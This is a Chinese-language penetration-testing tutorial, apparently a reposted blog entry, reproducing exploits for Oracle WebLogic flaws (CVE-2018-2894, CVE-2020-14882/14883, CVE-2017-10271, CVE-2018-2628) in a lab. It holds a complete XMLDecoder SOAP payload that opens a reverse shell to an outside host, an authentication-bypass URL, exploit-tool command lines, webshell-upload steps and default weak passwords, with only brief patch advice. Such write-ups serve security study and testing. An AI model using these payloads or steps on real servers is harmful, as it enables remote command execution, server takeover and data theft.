中间件安全Weblogic反序列化&未授权&POC

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件安全Weblogic反序列化&未授权&POC相关的知识,希望对你有一定的参考价值。

一、认识WebLogic

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

二、Weblogic 任意文件上传漏洞(CVE-2018-2894)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

参考链接:
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ
https://xz.aliyun.com/t/2458

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic



账号:weblogic 密码:0TBziNUJ 直接登陆后台

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

然后点击安全 -> 增加,然后上传webshell:

上传后,查看返回的数据包,其中有时间戳

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:

试试反弹shell

危害影响:
weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

修复:升级版本&打上补丁

三、Weblogic管理控制台未授权远程命令执行漏洞

在 Oracle 重要补丁更新 - 2020 年 10 月 公告 ,Oracle 修复了长亭科技安全研究员 @Voidfyoo 提交的两个安全漏洞,CVE-2020-14882 和 CVE-2020-14883。

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。 使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。

参考:
https://www.oracle.com/security-alerts/cpuoct2020traditional.html
https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf

漏洞复现
CVE-2020-14883: 权限绕过漏洞
CVE-2020-14882: 代码执行漏洞

CVE-2020-14883: 权限绕过漏洞 使用此 URL 绕过控制台组件的身份验证:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal


CVE-2020-14882: 代码执行漏洞 漏洞利用工具:https://github.com/GGyao/CVE-2020-14882_ALL/archive/refs/heads/master.zip

python  CVE-2020-14882_ALL.py -u http://192.168.111.130:7001/ -c "whoami"

危害影响:
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0

修复:升级版本&打上补丁

四、XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

参考链接:
    https://www.exploit-db.com/exploits/43458/
    https://paper.seebug.org/487/
    https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
    http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html

检测:访问这些地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞复现
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.111.1/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>


访问http://192.168.111.130:7001/wls-wsat/CoordinatorPortType
状态码:200 说明可能存在漏洞

成功反弹shell,也可以使用网上的工具

危害影响:
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0
修复:
升级版本&打上补丁

五、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

参考链接:
    http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
    https://github.com/tdy218/ysoserial-cve-2018-2628

漏洞复现
漏洞利用工具:https://github.com/jas502n/CVE-2018-2628

python CVE-2018-2628-Getshell.py 192.168.111.130 7001 wlscmd.jsp

python cve-2018-2628.py shell地址:http://192.168.111.130:7001/bea_wls_internal/wlscmd.jsp

危害影响:
10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
修复:
升级版本&打上补丁

六、Weblogic 弱口令 && 后台Getshell

本环境存在弱口令:

weblogic
Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:




一直下一步即可getshell

七、Weblogicscan扫描器&自定义添加POC

项目地址:https://github.com/rabbitmask/WeblogicScan

这个项目可以根据自己的设置把没有的poc添加进去,形成自己的poc检测工具

以上是关于中间件安全Weblogic反序列化&未授权&POC的主要内容,如果未能解决你的问题,请参考以下文章

漏洞分享WebLogic反序列化漏洞(CVE-2018-2628)漫谈

原创漏洞启明星辰9.8分Weblogic反序列化漏洞CVE-2018-3245补丁推出

每周播报Oracle WebLogic Server反序列化远程代码执行漏洞成焦点

Java安全-Java Vuls(FastjsonWeblogic漏洞复现)

如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险

(CVE-2018-2628)Weblogic WLS Core Components 反序列化命令执行漏洞